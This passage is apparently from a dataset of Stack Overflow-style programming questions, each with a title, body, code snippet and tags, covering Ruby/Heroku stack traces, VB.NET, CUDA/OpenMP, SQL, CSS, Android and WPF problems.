app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:1167:in `call'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:1193:in `synchronize'\n2011-02-16T18:42:29-
08:00 app[web.1]:
/app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/sinatra-
1.1.2/lib/sinatra/base.rb:1167:in `call'\n2011-02-16T18:42:29-08:00 app[web.1]:
/home/heroku_rack/lib/static_assets.rb:9:in `call'\n2011-02-16T18:42:29-08:00
app[web.1]: /home/heroku_rack/lib/last_access.rb:15:in `call'\n2011-02-
16T18:42:29-08:00 app[web.1]:
/app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/rack-
1.2.1/lib/rack/urlmap.rb:47:in `call'\n2011-02-16T18:42:29-08:00 app[web.1]:
/app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/rack-
1.2.1/lib/rack/urlmap.rb:41:in `each'\n2011-02-16T18:42:29-08:00 app[web.1]:
/app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/rack-
1.2.1/lib/rack/urlmap.rb:41:in `call'\n2011-02-16T18:42:29-08:00 app[web.1]:
/home/heroku_rack/lib/date_header.rb:14:in `call'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/rack-1.2.1/lib/rack/builder.rb:77:in `call'\n2011-02-16T18:42:29-08:00
app[web.1]:
/usr/ruby1.8.7/lib/ruby/gems/1.8/gems/thin-1.2.6/lib/thin/connection.rb:76:in
`pre_process'\n2011-02-16T18:42:29-08:00 app[web.1]:
/usr/ruby1.8.7/lib/ruby/gems/1.8/gems/thin-1.2.6/lib/thin/connection.rb:74:in
`catch'\n2011-02-16T18:42:29-08:00 app[web.1]:
/usr/ruby1.8.7/lib/ruby/gems/1.8/gems/thin-1.2.6/lib/thin/connection.rb:74:in
`pre_process'\n2011-02-16T18:42:29-08:00 app[web.1]:
/usr/ruby1.8.7/lib/ruby/gems/1.8/gems/thin-1.2.6/lib/thin/connection.rb:57:in
`process'\n2011-02-16T18:42:29-08:00 app[web.1]:
/usr/ruby1.8.7/lib/ruby/gems/1.8/gems/thin-1.2.6/lib/thin/connection.rb:42:in
`receive_data'\n2011-02-16T18:42:29-08:00 app[web.1]:
/usr/ruby1.8.7/lib/ruby/gems/1.8/gems/eventmachine-0.12.10/lib/eventmachine.rb:256:
in `run_machine'\n2011-02-16T18:42:29-08:00 app[web.1]:
/usr/ruby1.8.7/lib/ruby/gems/1.8/gems/eventmachine-0.12.10/lib/eventmachine.rb:256:
in `run'\n2011-02-16T18:42:29-08:00 app[web.1]:
/usr/ruby1.8.7/lib/ruby/gems/1.8/gems/thin-1.2.6/lib/thin/backends/base.rb:57:in
`start'\n2011-02-16T18:42:29-08:00 app[web.1]:
/usr/ruby1.8.7/lib/ruby/gems/1.8/gems/thin-1.2.6/lib/thin/server.rb:156:in `start'\
n2011-02-16T18:42:29-08:00 app[web.1]: /usr/ruby1.8.7/lib/ruby/gems/1.8/gems/thin-
1.2.6/lib/thin/controllers/controller.rb:80:in `start'\n2011-02-16T18:42:29-08:00
app[web.1]:
/usr/ruby1.8.7/lib/ruby/gems/1.8/gems/thin-1.2.6/lib/thin/runner.rb:143:in `run!'\
n2011-02-16T18:42:29-08:00 app[web.1]: /usr/ruby1.8.7/lib/ruby/gems/1.8/gems/thin-
1.2.6/bin/thin:6\n2011-02-16T18:42:29-08:00 app[web.1]:
/usr/ruby1.8.7/bin/thin:19:in `load'\n", "ruby heroku sinatra require"], "4165628":
["cannot load/retrieve color into Datagridview (\"Save and Retrieve Color in a
Datagridview using XML\")", "My problem is that I cannot retrieve and load the
color from my XML file into datagridview (on EVENT: FORMTES3_LOAD). The application
does not fail, but the display of my Datagridview becomes irregular/abnormal.\
nNote: the component is windows form (1 unit - \"FormTes3\"), colordialog (1 unit -
\"ColorDialog1\") and datagridview (1 unit - \"Datagridview1\")\nBelow is my full
source code:\n\n", "Imports System\nImports System.IO\nImports System.Xml\n\nPublic
Class FormTes3\n\nDim rowClicked As Integer\nDim colorName As String\n\nDim Doc As
New XmlDocument\n\n\nPrivate Sub FormTes3_Load(sender As Object, e As
System.EventArgs) Handles Me.Load\n\n
Doc.AppendChild(Doc.CreateElement(\"DataGridView\"))\n\n ' Populate the grid\n
DataGridView1.Columns.Add(\"Column1\", \"Column 1\")\n
DataGridView1.Columns.Add(\"Column2\", \"Column 2\")\n
DataGridView1.Columns.Add(\"Column3\", \"Column 3\")\n\n
DataGridView1.Rows.Add(\"A\", \"B\", \"C\")\n
DataGridView1.Rows.Add(\"A\", \"B\", \"C\")\n
DataGridView1.Rows.Add(\"A\", \"B\", \"C\")\n
DataGridView1.Rows.Add(\"A\", \"B\", \"C\")\n
DataGridView1.Rows.Add(\"A\", \"B\", \"C\")\n\n\n If
System.IO.File.Exists((Application.StartupPath + \"\\test.xml\")) Then\n Dim
row As Integer\n 'Dim column As Integer\n Dim backColor As String\n
Dim docLoad As New XmlDocument\n\n docLoad.Load((Application.StartupPath
+ \"\\test.xml\"))\n\n For Each node As XmlNode In
docLoad.SelectNodes(\"//Row\")\n row =
Convert.ToInt32(node.Attributes(\"rowID\").InnerText)\n MsgBox(row)\n\n
backColor = node.FirstChild.Attributes(\"BackColor\").InnerText\n
MsgBox(backColor)\n\n DataGridView1.Rows(row).DefaultCellStyle.BackColor
= ColorTranslator.FromHtml(backColor)\n\n Next\n\n End If\n\nEnd Sub\n\
n\nPrivate Function GetHexColor(ByVal colorObj As System.Drawing.Color) As String\n
Return \"#\" & Hex(colorObj.R) & Hex(colorObj.G) & Hex(colorObj.B)\nEnd Function\n\
n\nPrivate Sub CreateNewColorElement(ByVal rowID As Integer)\n\n 'Create Row
Node & ID Attribute\n Dim rowNode As XmlNode = Doc.CreateElement(\"Row\")\n
Dim idAttribute As XmlAttribute = Doc.CreateAttribute(\"rowID\")\n
idAttribute.Value = rowID.ToString\n rowNode.Attributes.Append(idAttribute)\n\n
'Column Node\n Dim columnNode As XmlNode = Doc.CreateElement(\"Profile\")\n\n
'BackColor\n Dim backColor As XmlAttribute = Doc.CreateAttribute(\"BackColor\")\
n backColor.Value = colorName\n columnNode.Attributes.Append(backColor)\n\n
rowNode.AppendChild(columnNode)\n Doc.DocumentElement.AppendChild(rowNode)\n\
nEnd Sub\n\n\nPrivate Sub DataGridView1_MouseUp(sender As Object, e As
System.Windows.Forms.MouseEventArgs) Handles DataGridView1.MouseUp\n\n Dim
result As DialogResult\n\n If e.Button = Windows.Forms.MouseButtons.Right Then\
n\n rowClicked = DataGridView1.HitTest(e.Location.X, e.Location.Y).RowIndex\
n MsgBox(\"row Click: \" & rowClicked)\n\n result =
ColorDialog1.ShowDialog()\n\n If result = DialogResult.OK Then\n\n
Dim rowIndex As Integer = rowClicked\n\n
DataGridView1.Rows(rowClicked).DefaultCellStyle.BackColor = ColorDialog1.Color
'Running Well\n\n colorName = GetHexColor(ColorDialog1.Color)\n\n
'If (Not (GlobalVariables.ColorStr) Is Nothing) Then\n
CreateNewColorElement(rowIndex) \n 'End If\n\n ElseIf result =
DialogResult.Cancel Then\n\n Return\n\n End If\n\n End If\n\
nEnd Sub\n\n\nPrivate Sub FormTes3_FormClosing(sender As Object, e As
System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing\n Dim saveFile
As SaveFileDialog = New SaveFileDialog\n saveFile.InitialDirectory =
Application.StartupPath\n saveFile.Filter = \"XML files (*.xml)|*.xml\"\n\n
Dim dr As DialogResult = DialogResult.Yes\n\n If (MessageBox.Show(\"Do you want
to save XML Style?\", \"Grid Style\", MessageBoxButtons.YesNo,
MessageBoxIcon.Question) = dr) Then\n\n If (saveFile.ShowDialog =
DialogResult.OK) Then\n Doc.Save(saveFile.FileName)\n End If\n\n
End If\n\nEnd Sub\n\nEnd Class\n", "xml vb.net datagridview colors"], "5294236":
["How to delete my old images located in the bundle during an update?", "I make an
application with images *.png placed directly in the bundle.\nIn an update, when I
delete an image from the project, it remains in my application! \nHow to completely
remove this image ? \nthank you in advance.\n", "", "ios xcode image sdk bundle"],
"5344681": ["Multiple axises on the same data", "I'm trying to have two axises on
the same data. \nThe data is a couple of . The plot is a , and I have two and
one . \nAll data is in meters for the y-values, and I want to have one axis
displaying it in meters and one axis displaying it in feet. Now this feels like a
common thing to do, but i can't decide on the most obvious way to do it. One way
that works would be to duplicate the data and have the y-values in feet, then add
another and be done with it. \nBut I thought it would be wiser to subclass , or
inject some functionality into to scale the values. Or should I go with the first
approach? \nWhat do you think? \n", "DefaultTableXYDatasets", "java jfreechart"],
"1746751": ["How to combine OpenMP with CUDA appropriately", "I have tried to
combine my CUDA code with OpenMP recently but some problems occur. My CUDA-OpenMP
code is written as\n\nThe problem is that sometimes when I run this code,
everything is going well, but sometimes it will stop and the \"end of parallel\"
sentence will not be printed out. This situation happens randomly and can anybody
tell me what might be the reason for this?\n", " int main (void)\n {\n
cudaGetDeviceCount(&gpuNum);\n\n //declare variables\n float *data_h;
*data_d[gpuNum];\n data_h = (float*)malloc(Mem);\n ....\n ....\n
omp_set_num_threads(gpuNum); \n #pragma omp parallel\n {\n int
cpuid = omp_get_thread_num();\n cudaSetDevice(cpuid);\n\n
cudaMalloc((void**)&data_d[cpuid], Mem );\n\n cudaMemcpy( data_d[cpuid],
data_h, Mem, cudaMemcpyHostToDevice);\n kernel<<< gpu_block, gpu_thread
>>>();\n cudaMemcpy( data_h, data_d[cpuid], Mem, cudaMemcpyDeviceToHost);\n
}\n printf(\"end of parallel\\n\");\n //post process\n }\n", "cuda
openmp"], "57877": ["QThread::start: Thread termination error", "I'm using an
OpenSSL library in multi-threading application.\nFor various reasons I'm using
blocking SSL connection. And there is a situation when client hangs on\n\
nfunction.\nI moved connection procedure to another thread and created timer. On
timeout connection thread is terminated using:\n\nThe thread is terminable, but on
the next attempt to start thread I get:\n\nI checked the \"max thread issue\" and
that's not the case.\nI'm working on CentOS 6.0 with QT 4.5, OpenSSL 1.0\nThe
question is how to completely terminate a thread.\n", "SSL_connect\n", "qt openssl
qthread"], "5800939": ["UIPickerView not reloading until scrolling", "Using a
segment control I'm trying to reload 2 UIPickerViews with a new array of data. \
nMy problem is the new array doesn't show until I scroll up or down on the picker
(old data will go away once out of view). I've tried using the reloadAllComponents
method to no luck. Here is what the code looks like:\n\nIB has 2 UIPickerViews
wired up to the file's owner for both delegate and datasource.\n", "//Segment
Control\n-(IBAction)unitType:(id)sender {\n if([sender selectedSegmentIndex]==0)
{\n NSLog(@\"unitType change 1\");\n NSLog(@\"before values =
%@\",units);\n [units removeAllObjects];\n [units
addObject:@\"in\"];\n //etc.\n [self.inputUnits
reloadAllComponents];\n NSLog(@\"current values = %@\",units);\n }else {\
n NSLog(@\"unitType change 2\");\n NSLog(@\"before values =
%@\",units);\n [units removeAllObjects];\n [units
addObject:@\"in^3\"];\n //etc.\n [self.inputUnits
reloadAllComponents];\n NSLog(@\"current values = %@\",units);\n
}\n}\n", "objective-c xcode uipickerview uisegmentedcontrol"], "48116": ["msql
queries for count the records based on range values", "\nPossible Duplicate:\nquery
in mysql with range \n\nWrite a single SQL query to determine the count of people
in the following salary ranges less than \n and less than greater than or equal to
\nThe output should be as follows:\n\n", "1,00,000", "mysql query range"],
"3150391": ["SQL Server mass update locking", "Consider this statement:\n\n is used
by other applications and so locking on it should be minimal\n is not used by
anybody else so I do not care about it.\n and contain 600K rows each.\nWould the
above statement cause a table lock on ?\nHow can I modify it to cause the minimal
lock on it ? \nMaybe use a cursor to read the rows of one by one and then for each
row update the respective row of ?\n", "update TABLE1 \nset FormatCode = case
T.FormatCode when null then TABLE1.FormatCode else T.FormatCode end,\n
CountryCode = case T.CountryCode when null then TABLE1.CountryCode else
T.CountryCode end \n <SNIP ... LOTS of similar fields being updated> \nFROM
TABLE2 AS T \nWHERE TABLE1.KEYFIELD = T.KEYFIELD\n", "sql-server locking mass"],
"681605": ["mime decode pdf quoted-printable", "I've been building a simple ticket
system and it's all done and working except for when it receives PDF files via
email that have been sent using encoding. I've tried using , the stream filter,
the later just created an empty file. I've also tried using . \nHowever the PDF
file is always unreadable. I've compared the original with the rebuilt version and
there are a lot of missing and some other characters replaced.\noriginal file\
nrebuilt file\n", "quoted-printable", "php encoding mime mime-message"], "5791549":
["When would you want to create a new Managed Path?", "Could someone explain when
or why I would want to generate a new managed path in a SharePoint Web
Application?\nBismarck\n", "", "site-collection taxonomy web-application"],
"1552181": ["Is there any Visual Studio extension to \u201cfavorite\u201d folders
and files?", "I'm working on a middle-sized project that contains several class
libraries, database model and an ASP .NET MVC website project. However, even though
there are less than 15 projects in the solution, I often find myself collapsing and
expanding endless folders to find a certain class or view.\nWhile looking for class
is mostly solved by Resharper type navigation feature, I often want to switch to a
certain view in MVC project. I don't remember the file name and it wouldn't solve
the problem either because there are many views with same file name (e.g. , ).\
nWhat I'd rather want is an ability to \u201cfavorite\u201d certain files, projects
or folders so they are displayed on a separate Solution Explorer-like window for
quick access.\nIs there such an extension available (for free)?\nUpdate\n@samy
pointed out that Sergey Vlasov's Favorite Documents extension allows for quick
access via the menubar, I usually tend to hide it and would prefer a dockable
window solution so I'm still looking. I wrote Sergey to find out if he plans to
work on this functionality.\nUpdate (Aug 4th)\nI just received a letter from Sergey
in which he points me to Favorite Documents 1.1 got a dedicated window. Therefore I
accept samy's answer.\nKudos to Sergey!\n", "Message\\ViewSingle.cshtml", "visual-
studio-2010 productivity projects-and-solutions visual-studio-extensions solution-
explorer"], "3999617": ["Error 5 : Access Denied when starting windows service", "I
have this error when I try to start a windows service :\n\nAnd the code is :\n\
nupdate #2 :\nService cannot be started. System.InvalidOperationException: Service
'RightAccessManagementWcf.RightAccessWcf' has zero application (non-infrastructure)
endpoints. This might be because no configuration file was found for your
application, or because no service element matching the service name could be found
in the configuration file, or because no endpoints were defined in the service
element.\n at
System.ServiceModel.Description.DispatcherBuilder.EnsureThereAreNonMexEndpoints(Ser
viceDescription description)\n at
System.ServiceModel.Description.DispatcherBuilder.InitializeServiceHost(ServiceDesc
ription description, ServiceHostBase serviceHost)\n at
System.ServiceModel.ServiceHostBase.InitializeRuntime()\n at
System.ServiceModel.ServiceHostBase.OnOpen(TimeSpan timeout)\n at
System.ServiceModel.Channels.CommunicationObject.Open(TimeSpan timeout)\n at
RightAccessHosting.RightAccessHost.OnStart(String[] args) in C:\\Users....\nupdate
#1 :\nit's ok you have to give right \"NETWORK SERVICE\" ... now I have an another
problem\n\n", "private ServiceHost host = null;\n\npublic RightAccessHost()\n{\n
InitializeComponent();\n}\n\nprotected override void OnStart(string[] args)\n{\n
host = new ServiceHost(typeof(RightAccessWcf));\n host.Open();\n}\n\nprotected
override void OnStop()\n{\n if (host != null)\n host.Close();\n host =
null;\n}\n", "c# .net wcf windows-services"], "2452616":
["Activator.CreateInstance(string assemblyName,string typName) in silverlight
windows phone 7", "I want to use Activator.CreateInstance(string
assemblyName,string typName)
(http://msdn.microsoft.com/en-us/library/d133hta4%28v=VS.100%29.aspx) in my Windows
Phone 7 app. But it doesn't seems to work. \nAny ideas of solutions or work
arounds?\n", "", "c# silverlight windows-phone-7 activator createinstance"],
"6006963": ["How to apply accelerometer on a pivot page in WP7 to navigate the
pages?", "How to apply accelerometer on a pivot page in WP7 to navigate the pivot
pages?\nLike when i tilt the phone to the right, it will navigate the page to the
right, and vice versa when i tilt it to the left.\n", "", "c# windows-phone-7
navigation pivot accelerometer"], "1730242": ["back-sides effects and overloading",
"is there any 'smart' overload of functions in c++? \nfor simple:\n\nis there any
possible ways to merge this two functions in one?\nin first way, for changing
current object:\n\nin second way:\n\nhow to merging these functions into one
withouht redefining functions? \n", " classname classname::Foo(const
classname& t){\n classname workVar = t.clone(); \n //great
work, like this GREAT(), that changing workVar;\n return workVar;\n }\n\n
//back-side effect here, changing object\n void classname::Foo(){\n classname
workVar = (*this).clone();\n //the same, GREAT() changing
workVar\n (*this).copy(workVar);\n }\n", "c++ function overloading"],
"5120283": ["z-index priority on ul and child", "Basically I want a relative
element to hide its absolute child on the z plan. \n\nThey are positonned on top of
each other. \nThe first should hide its child, but it's not happening that way. \
nSee the fiddle. I try to make the red part disappear under the blue one. \nAny
help muy appreciated \nThank you \n", "ul {z-index:10; position:relative;}\nul ul
{z-index:-10; position:absolute;} \n", "css z-index absolute-positioning"],
"4812509": ["Looking for alternative to glTexSubImage2d with data offset support",
"I have a PBO which is updated each frame by CUDA. After it, I also want to update
a texture using this PBO, which I do using . I'm afraid updating the whole texture
is expensive and would like to update only the viewable region of the texture while
my PBO has the whole data on it.\nThe problem is that, although accepts an offset,
width and height as parameters, they're only used when painting to the texture,
while I still need my buffer data to be linearly layed. I'm afraid preparing the
buffer data myself might be too expensive (actually it would be extremely
expensive, since my PBO resides in GPU memory.)\nIs there any alternative to which
also takes parameters for the buffer offset or should I keep updating the whole
texture at once?\n", "glTexSubImage2d", "opengl texture"], "5194286": ["Maven:
Combining multiple module jars into one war file?", "I have a project which has 3
components , and \nin 's I have following \n\nwhen I run , I see \n\nand each
one of these modules generate a jar file.\nQuestion: How can I combine them into
one ?\nI am new to Maven and do not know what to look for to accomplish this task,
please provide the pointers\n", "babybird", "java maven"], "690957": ["PHP _google
chart _ multiple files' data in 1 graph ... how to ? _ basic question", "In google
chart,\n is used to create the img corresponding to the graph.\nI have used LOOPS
to read multiple text files, then extract values and put them in an array, then use
this array to pass it to the function.\nThe problem is that only the graph for day
1 (i.e. file 1) gets displayed. Day 2 needs either:\n\nI NEED to CREATE A NEW STACK
FOR each file. How do I achieve this?\nor\nI need to create separate graphs for
each file on the same WEBPAGE. How do I achieve this?\n\nPlease help!!\nIt would be
better if I can create a separate stack for each file.\n", "<img src=\"<?php print
$barChart->getUrl(); ?>\" /> <br> for today.", "php arrays google-charts text-
files bar-chart"], "2783554": ["SQL Server 2008 Sum and Select Max Only?", "I am
trying to understand how to do a Sum when I need to only use the Max/top values for
a date period. This is kind of like SQL Server: SELECT only the rows with MAX(DATE)
but not exactly. Thanks for reading.\n\nI get three rows. But what I actually want
is this:\n\nI do not want the row where tableid=1 because that is part of an older
batch of data.\nThe newer rows represent a later insert (all recordedwhen values
with the same datetime are the same for a batch)\nSo if a new row was inserted like
this:\n\nThen the data would should like this:\n\n", "declare @tbl Table ( tableid
int , eventdate date, valuec char(5) , valued int , recordedwhen datetime2(3) )\
ninsert
into @tbl values ( 0 , '2012-03-22' , '11111' , 3 , '2012-03-23 17:21:01.083' )\
ninsert into @tbl values ( 1 , '2012-03-22' , '22222' , 3 , '2012-03-23
17:21:01.083' )\ninsert into @tbl values ( 2 , '2012-03-22' , '22222' , 4 , '2012-
03-23 18:21:01.083' )\ninsert into @tbl values ( 3 , '2012-03-22' , '22222' , 5 ,
'2012-03-23 18:21:01.083' )\n\nselect \n eventdate, valuec , sum(valued) as
valuedSum , recordedwhen\n from \n @tbl\n group by eventdate,
valuec, recordedwhen\n", "sql-server-2008 max row-number"], "1552454": ["Android -
set\\define emulator's port", "Is there any way to define the port number of the
Android emulator?\n", "", "android android-emulator telnet"], "271406": ["ORA-03113
end of file communication", "I am running a long query(having lot of subqueries)
with rownum from VB6 which is giving ORA-03113 end of file on communication after
approximately 1 minute. The query run fine from Toad. When the same query is run
from VB6 without ROWNUM then query works fine. Also this is parameterised query, if
i remove parameters and enter the values directly in query, then also query run
fines from vb6.\nThis query was running fine few days back. Now it is not. \nI
tried increasing the connection timeout but still i am getting error after 1
minute. Could anyone suggest what could be the problem?\n", "", "oracle subquery
rownum ora-03113"], "866356": ["manipulating JPanel in Swing", "I am developing an
application that transforms an XML file to a dynamic graph so I made a class that
extended JPanel to arrange the node (circularnode.java) and I created a class that
extended JPanel to add arrows (arrow.java) but when displaying the arrows, they
always come behind nodes. The background of circularnode.java hides them.\nHow can
I display a JPanel over another, or control the order of appearance?\n", "", "java
swing graph jpanel"], "696484": ["JPA load objects with Named queries", "I have a
JPA object called Customer.java:\n\nNow, if I invoke the named query and load the
Custoemr object. and then if I do c.getAddress(), will I get the Address loaded? Or
do i need to write a separate named query to load the address\n",
"@NamedQueries({@NamedQuery(name=\"getAccountWithCheckRangeByService\", \
nquery=\"SELECT c FROM Customer\"})\npublic Long Id;\npublic Address
address;\n//getter and setter\n}\n", "jpa websphere-6.1"], "982259": ["server push
plugin for redmine", "Is there any server push plugin for redmine available.
Searching on the redmine official site didn't give satisfiable results.\nIt will be
quite a bonus if it is based on the Socket.IO.\n", "", "redmine redmine-plugins"],
"4240228": ["Fillter and copy XML nodes using Linq to XML", "At the end the goal is
to creat a new XML file filtered from a whole list of NODES by comparison each noed
attribute value with existing values\u200b\u200b list.\nmy problem is:\nI can read
the value of a particular node and then compare it with a dynamic variable value,\
nBut after that I want to read the tag that's wrapping it and copy it to my new XML
file.\n\nand my code to get the values to compare is:\n\nthis will give me the code
for the node itself, i need the code to get the wrapping node (Rule)...\nhow can i
do this?\n", "<Rule Id=\"2\" On=\"a1\" PL=\"3305\" ActionResult=\"enabled\">\
n<Members Operation=\"\"><Member QId=\"a2\" Operation=\"In\"
Attribute=\"checked\">true\n</Member></Members></Rule></Rules> \n", "linq linq-to-
xml"], "2158272": ["How to prove following inequality?", "Show that\n$$1+ac+ab+3a\\
leq b+c+abc+3bc$$\nif $1\\leq a\\leq bc,$ $1\\leq b\\leq ac,$ $1\\leq c\\leq ab.$ \
n", "", "inequality"], "1828854": ["List item in horizontal dropdown menu falling
apart when viewed on a mac", "I am using a css dropdown horizontal menu from a
template I modified. I have a mac but use a virtual machine from which I designed
the website in question. It works on all browsers in the Windows based virtual
machine however after I launched it when viewed on the mac it is dropping my last
list item down underneath the first list item in all browsers viewed on the mac.\
nThe dropdown menu has three external style sheets attached to it plus my style
sheet for the associated page. Here is the temporary IP
address:\nhttp://174.120.170.93/~emoree/test.html\nI feel like it is a simple
solution but I am not the best programmer so I am stumped.\n", "", "html css osx
safari"], "4237330": ["Can this Sql statement be refactored to NOT use
RANK/PARTITION?", "I have the following sql statement, which works perfectly fine.
I was hoping to see how this could be refactored so it doesn't require the use of
RANK/PARTITION ... if possible.\n\nWhat is it trying to do?\n\nGrab all the records
in the table, grouped by client name and then ordered by most recently created.\
nFilter this by only event types #2 (a connection) or #4 (a disconnection).\nNow,
for each client name, retrieve the most recent record.\n\nthis in effect is
grabbing the most recent event (for a connection or disconnection), for each unique
user in the table.\nI do like RANK/PARTITION, but i was hoping to see if it's
possible to do without using it.\n", "SELECT LogEntryId, FileId, CreatedOn,
EventTypeId\nFROM (SELECT a.LogEntryId, a.FileId, a.CreatedOn, a.EventTypeId, \n
RANK() OVER (PARTITION BY ClientName ORDER BY a.CreatedOn DESC) AS
MostRecentEventRank\n FROM LogEntries a\n WHERE (a.EventTypeId = 2 or
a.EventTypeId = 4)) SubQuery\nWHERE MostRecentEventRank = 1\n", "sql sql-server
tsql refactoring"], "2388677": ["Style Option Element Safari Mac", "After extensive
testing, I believe it is not possible to change the color of the text in an option
element of a select dropdown in Safari for Mac. (By that I mean have the text of
some option elements one color, and others a different color). I've tried css,
inline styles, JS, and (shock) a font tag.\nIt does work in Safari for PC however!
Also chrome, IE and firefox on both platforms. It does work in safari mac if you
use a \"multiple\" select, but not single line/traditional select box.\nCan someone
confirm?\n(BTW, I don't really want to be told \"you shouldn't do this\" or \"why
ever would you want to do that\", etc, just confirmation that it either is
impossible, or an explanation of some way of doing it).\nThanks!\n", "", "select
colors safari option osx"], "2333476": ["How can I page refresh without Navigation
from my MvvM Light ViewModel", "How do I update a nested ListBox in my viewmodel
(Mvvm Light) without page navigation after the initial view has been displayed.
Currently I am doing a re-entrant page navigation using a changing querystring -
there must be a better way?\nRaisePropertyChanged is having no effect although I
can see the data is populated with the correct data when the callback from the soap
request triggered via OpenCallingPoints has fired. \nThe grid I am trying to
populate with soap data is CallingPointsGrid\nShort version of the code...\n\n\n",
"<ListBox x:Name=\"ResultsListBox\" Margin=\"0\" VerticalAlignment=\"Top\"
ItemsSource=\"{Binding JourneyLegs, Mode=TwoWay}\" Background=\"{StaticResource
BackgroundWhiteGradientBrush}\" >\n <ListBox.ItemTemplate> \n
<DataTemplate>\n <StackPanel x:Name=\"StationItem\"
Orientation=\"Vertical\" VerticalAlignment=\"Top\" background=\"{Binding id,
Converter={StaticResource myconverter}}\">\n\n <Grid
Name=\"CallingPointsGrid\" Margin=\"15,10,55,10\" Visibility=\"{Binding
JourneyCallingPoints, Converter={StaticResource
CallingPointsVisibilityConverter}}\" Background=\"{StaticResource
BackgroundWhiteGradientBrush}\">\n <ListBox Grid.Row=\"1\"
Name=\"CallingPointsListBox\" DataContext=\"{Binding}\" VerticalAlignment=\"Top\"
ItemsSource=\"{Binding JourneyCallingPoints, Mode=TwoWay}\">\n
<ListBox.ItemTemplate>\n <DataTemplate>\n
<StackPanel VerticalAlignment=\"Top\" Orientation=\"Horizontal\">\n
<TextBlock Margin=\"0\" VerticalAlignment=\"Center\" HorizontalAlignment=\"Left\"
Width=\"210\" x:Name=\"Destination\" Foreground=\"Black\" Text=\"{Binding
stationName}\" />\n <TextBlock
Margin=\"5,0,5,0\" VerticalAlignment=\"Center\" HorizontalAlignment=\"Left\"
Width=\"75\" x:Name=\"ScheduledDepartureTime\" FontWeight=\"Bold\"
Foreground=\"{StaticResource BackgroundBlueLightSolidColor}\" Text=\"{Binding
timetable.scheduledTimes.arrival, StringFormat=\\{0:HH:mm\\}}\" />\n
<TextBlock Margin=\"5,0,5,0\" VerticalAlignment=\"Center\"
HorizontalAlignment=\"Left\" Width=\"75\" x:Name=\"ScheduledArrivalTime\"
FontWeight=\"Bold\" Foreground=\"{StaticResource BackgroundBlueLightSolidColor}\"
Text=\"{Binding timetable.scheduledTimes.departure, StringFormat=\\
{0:HH:mm\\}}\" />\n </StackPanel>\n
</DataTemplate>\n </ListBox.ItemTemplate>\n
</ListBox>\n\n </Grid>\n </StackPanel>\n\n
</DataTemplate> \n </ListBox.ItemTemplate>\n
<i:Interaction.Triggers>\n <i:EventTrigger SourceName=\"ResultsListBox\"
EventName=\"Tap\"> \n <i:EventTrigger.Actions>\n
<local:OpenCallingPoints /> \n
</i:EventTrigger.Actions> \n
</i:EventTrigger> \n
</i:Interaction.Triggers>\n", "silverlight windows-phone-7 silverlight-4.0 mvvm-
light"], "3652403": ["Serialize public properties using JSON.NET", "I'm using
JSON.NET implementation to serialize/deserialize .NET objects to JS and vice versa,
all works fine until running in the following:\n\nMembers
, , and get populated successfully when calling the WCF service but\n always
returns an empty JSON string to the client (web browser), this is strange as it
usually works fine for me in other areas, the only difference is that here I have
the populated members declared as public properties in the class itself.\n",
"GetWCFData()", "c# wcf json serialization json.net"], "2825363": ["Spoofing
internet ip on ubuntu", "I want to spoof my internet ip on my Ubuntu 10.10 system
so that I can access country specific websites. Can some one please tell me how to
go about this?\n", "", "ubuntu ip spoofing"], "4469148": ["Video-js not working
full screen", "I am working on a online magazine and I am using 3d flipbook. I gave
my videos the video-js class and put all the files togheter. It looks amazing and
it works until I want it to play full screen. I got a layout of 2 pages and when I
want to play the video full screen it takes 50% of the page and the other pages
goes on top of it so I can see half of my video\ncan you please help me out?\nKim\
n", "", "javascript jquery video html5-video"], "4134529": ["Set zoom for web view
in android", "I want to set zoom for showing content on web view in android. How is
it possible to zoom the web view for specific level. Please give me a solution.\n",
"", "android webkit android-webview"], "2446294": ["wpf my UI doesnt refrash", "my
xml is :\n\n\n\n\n\n\n\n-->\n\n-->\n\nthis is the start window class :\n\n}\n1.i
want thar when insertTest is called the UI will load my new values \n2.this is my
first wpf work so any advices on how to make things more readable,effican,simple
and notes about the my poor architecture i know it's crapy can some \n",
"<Window.Resources>\n <Style TargetType=\"ListViewItem\">\n <Setter
Property=\"HorizontalContentAlignment\" Value=\"Stretch\" />\n
</Style>\n</Window.Resources>\n\n\n<Grid >\n <Grid.ColumnDefinitions>\n
<ColumnDefinition Width=\"381*\" />\n <ColumnDefinition Width=\"20*\" />\n
<ColumnDefinition Width=\"101*\" />\n </Grid.ColumnDefinitions>\n
<Grid.RowDefinitions>\n <RowDefinition Height=\"110*\" />\n
<RowDefinition Height=\"201*\" />\n </Grid.RowDefinitions>\n <StackPanel
Margin=\"320,0,0,0\" Grid.RowSpan=\"2\">\n <ListView ItemsSource=\"{Binding
employeeCollection}\">\n <ListView.View>\n <GridView>\n\n
<GridViewColumn Header=\"Employee ID\" DisplayMemberBinding=\"{Binding
Path=EmployeeID}\"/>\n <GridViewColumn Header=\"First Name\"
DisplayMemberBinding=\"{Binding Path=FirstName}\"/>\n
<GridViewColumn Header=\"Last Name\" DisplayMemberBinding=\"{Binding
Path=LastName}\"/>\n <GridViewColumn Header=\"start\"
DisplayMemberBinding=\"{Binding Path=startHR}\"/>\n
<GridViewColumn Header=\"finish\" DisplayMemberBinding=\"{Binding
Path=finishHR}\">\n\n </GridViewColumn>\n </GridView>\n
</ListView.View>\n\n </ListView>\n </StackPanel>\n <StackPanel
Margin=\"2,0,0,137\" Grid.RowSpan=\"2\" Grid.ColumnSpan=\"2\" Grid.Column=\"1\">\n
<ListBox FontFamily=\"Guttman Yad-Brush\" BorderBrush=\"AliceBlue\"
